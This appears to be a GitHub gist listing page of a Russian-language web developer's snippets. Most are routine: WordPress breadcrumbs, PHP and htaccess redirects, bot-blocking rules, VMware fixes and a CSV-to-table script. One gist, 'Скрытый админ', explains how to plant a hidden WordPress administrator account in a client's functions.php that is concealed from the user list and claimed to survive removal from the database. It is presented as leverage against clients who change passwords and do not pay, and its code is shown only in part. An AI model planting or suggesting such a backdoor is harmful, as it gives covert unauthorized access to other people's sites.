Skip to content

Instantly share code, notes, and snippets.

View EugeneZheleznov's full-sized avatar
👨‍💻
Working from home

Eugene EugeneZheleznov

👨‍💻
Working from home
View GitHub Profile
@EugeneZheleznov
EugeneZheleznov / .php
Created December 27, 2022 16:25
[Хлебные крошки 2019] Хлебные крошки без плагина #wp #breadcrumbs
<?php
/*
* WordPress Breadcrumbs
* author: Dimox
* version: 2019.03.03
* license: MIT
*/
function dimox_breadcrumbs() {
/* === OPTIONS === */
@EugeneZheleznov
EugeneZheleznov / .php
Created October 27, 2022 16:19
[PHP Redirect] php редирект #php
// Например так
// Получаем адрес URL, сравниваем текущий с тем, с которого надо сделать редирект
// если совпадает, происходит редирект
// В примере ниже показан редирект со страницы без слеша, на страницу со слешем
<?php
$productUrl = ((!empty($_SERVER['HTTPS'])) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
if ($productUrl == 'https://www.geos24.ru/services/inzhenernye-izyskaniya/rekonstrukxhiya') {
@EugeneZheleznov
EugeneZheleznov / .php
Last active December 27, 2022 16:25
[Хлебные крошки 2017] Хлебные крошки без плагина #wp #breadcrumbs
<?php
/*
* WordPress Breadcrumbs
* author: Dimox
* version: 2017.21.01
* license: MIT
*/
function dimox_breadcrumbs() {
/* === OPTIONS === */
@EugeneZheleznov
EugeneZheleznov / .js
Created April 19, 2022 12:52
[CSV в HTML таблицу] #csv #jquery
jQuery.noConflict();
(function ($) {
$.ajax({
url: 'http://getdevs.ru/LoginAndPasswordWebCabinet.csv',
dataType: 'text',
}).done(successFunction);
function successFunction(data) {
@EugeneZheleznov
EugeneZheleznov / .md
Created March 31, 2022 19:59
Шпора по Pug
@EugeneZheleznov
EugeneZheleznov / .htaccess
Last active March 31, 2022 08:02
Запрет индексирования роботами
#########################################################
################## ОТСЕЧЕНИЕ БОТОВ ######################
#########################################################
<IfModule mod_setenvif.c>
<IfModule mod_headers.c>
SetEnvIfNoCase User-Agent "^LinksMasterRoBot" bot
SetEnvIfNoCase User-Agent "^LinkStats" bot
SetEnvIfNoCase User-Agent "^CNCat" bot
SetEnvIfNoCase User-Agent "^linkdexbot" bot
@EugeneZheleznov
EugeneZheleznov / .md
Last active March 31, 2022 08:06
[VMware Workstation Ошибки] #vmware

Исправление ошибок VMware Workstation

При ошибке:

the cpu has been disabled by the guest operating system. Power off reset the virtu

Дописать:

cpuid.0.eax = "0000:0000:0000:0000:0000:0000:0000:1011"
@EugeneZheleznov
EugeneZheleznov / .md
Last active March 31, 2022 08:27
[Полезные трюки WordPress] #wp

Полезные трюки WordPress

Добавляем свой логотип в пользовательской панели мониторинга

function zacompom_custom_logo() {
	echo '
	<style type="text/css">
		#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before {
			background-image: url(' . get_bloginfo('stylesheet_directory') . '/images/custom-logo.png) !important;
@EugeneZheleznov
EugeneZheleznov / .md
Last active February 3, 2023 13:21
[Скрытый админ] #wp

Скрытый админ WordPress

Часто случается такое, что после выполненных работ на чужом сайте, заказчик меняет пароли и отказывается платить
Чтобы себя обезопасить, мы можем создать скрытого админа в файле function.php или же лучше подключить к нему другой файл, в котором будет этот код

Админ не удаляется даже из БД

$id = ‘5’; — Указывает админа которого надо скрыть из списка пользователей, нужно посмотреть сколько всего пользователей и ставить своего

add_action('pre_user_query','evgen_protect_user_query');
@EugeneZheleznov
EugeneZheleznov / .md
Last active November 1, 2023 10:06
[Redirect важные примеры] #htaccess

Redirect важные примеры htaccess

Для подобных редиректов

https://SITE.ru/index.php
https://SITE.ru/index.asp
https://SITE.ru/index.htm
https://SITE.ru/index.aspx
https://SITE.ru/index
https://SITE.ru/index.%20html